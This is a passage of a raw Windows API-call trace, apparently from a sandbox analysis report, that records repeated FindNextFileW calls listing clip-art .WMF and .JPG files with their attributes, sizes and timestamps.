ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107734.WMF", cAlternateFileName="")) returned 1 [0195.981] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107742.WMF", cAlternateFileName="")) returned 1 [0195.981] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107744.WMF", cAlternateFileName="")) returned 1 [0195.981] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107746.WMF", cAlternateFileName="")) returned 1 [0195.981] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2020, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107748.WMF", cAlternateFileName="")) returned 1 [0195.981] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x126c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107750.WMF", cAlternateFileName="")) returned 1 [0195.982] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4146, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0136865.WMF", cAlternateFileName="")) returned 1 [0195.982] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55eb4900, ftCreationTime.dwHighDateTime=0x1bdbf6f, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55eb4900, ftLastWriteTime.dwHighDateTime=0x1bdbf6f, nFileSizeHigh=0x0, nFileSizeLow=0x9d27, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0144773.JPG", cAlternateFileName="")) returned 1 [0195.982] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8379, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145168.JPG", cAlternateFileName="")) returned 1 [0195.982] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf0c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145212.JPG", cAlternateFileName="")) returned 1 [0195.982] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc056, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145272.JPG", cAlternateFileName="")) returned 1 [0195.982] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5285, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145361.JPG", cAlternateFileName="")) returned 1 [0195.982] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c5e300, ftCreationTime.dwHighDateTime=0x1bdbf70, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c5e300, ftLastWriteTime.dwHighDateTime=0x1bdbf70, nFileSizeHigh=0x0, nFileSizeLow=0x45cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145373.JPG", cAlternateFileName="")) returned 1 [0195.982] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a35900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a35900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x7c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145669.JPG", cAlternateFileName="")) returned 1 [0195.982] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a05b300, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a05b300, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145707.JPG", cAlternateFileName="")) returned 1 [0195.983] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50dbc900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50dbc900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145810.JPG", cAlternateFileName="")) returned 1 [0195.983] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5d84e00, ftCreationTime.dwHighDateTime=0x1c026b6, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5d84e00, ftLastWriteTime.dwHighDateTime=0x1c026b6, nFileSizeHigh=0x0, nFileSizeLow=0x8a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145879.JPG", cAlternateFileName="")) returned 1 [0195.983] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7962500, ftCreationTime.dwHighDateTime=0x1c03d89, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7962500, ftLastWriteTime.dwHighDateTime=0x1c03d89, nFileSizeHigh=0x0, nFileSizeLow=0x84a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145895.JPG", cAlternateFileName="")) returned 1 [0195.983] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912cb00, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa912cb00, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x9a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145904.JPG", cAlternateFileName="")) returned 1 [0195.983] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0146142.JPG", cAlternateFileName="")) returned 1 [0195.983] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaa9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148309.JPG", cAlternateFileName="")) returned 1 [0195.984] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148757.JPG", cAlternateFileName="")) returned 1 [0195.984] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x955d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148798.JPG", cAlternateFileName="")) returned 1 [0195.984] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149018.JPG", cAlternateFileName="")) returned 1 [0195.984] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149118.JPG", cAlternateFileName="")) returned 1 [0195.984] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb544, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0150150.WMF", cAlternateFileName="")) returned 1 [0195.984] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0150861.WMF", cAlternateFileName="")) returned 1 [0195.984] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1104, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151041.WMF", cAlternateFileName="")) returned 1 [0195.984] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151045.WMF", cAlternateFileName="")) returned 1 [0195.985] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4844, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151047.WMF", cAlternateFileName="")) returned 1 [0195.985] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3928, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151055.WMF", cAlternateFileName="")) returned 1 [0195.985] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151061.WMF", cAlternateFileName="")) returned 1 [0195.985] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151063.WMF", cAlternateFileName="")) returned 1 [0195.985] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3394, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151067.WMF", cAlternateFileName="")) returned 1 [0195.985] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3418, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151073.WMF", cAlternateFileName="")) returned 1 [0195.985] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151581.WMF", cAlternateFileName="")) returned 1 [0195.986] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x610c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152414.WMF", cAlternateFileName="")) returned 1 [0195.986] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152430.WMF", cAlternateFileName="")) returned 1 [0195.986] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x406c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152432.WMF", cAlternateFileName="")) returned 1 [0195.986] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152436.WMF", cAlternateFileName="")) returned 1 [0195.986] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4030, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152556.WMF", cAlternateFileName="")) returned 1 [0195.986] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3eb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152558.WMF", cAlternateFileName="")) returned 1 [0195.986] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152560.WMF", cAlternateFileName="")) returned 1 [0195.986] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152568.WMF", cAlternateFileName="")) returned 1 [0195.987] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152570.WMF", cAlternateFileName="")) returned 1 [0195.987] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ab4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152590.WMF", cAlternateFileName="")) returned 1 [0195.987] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152594.WMF", cAlternateFileName="")) returned 1 [0195.987] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, 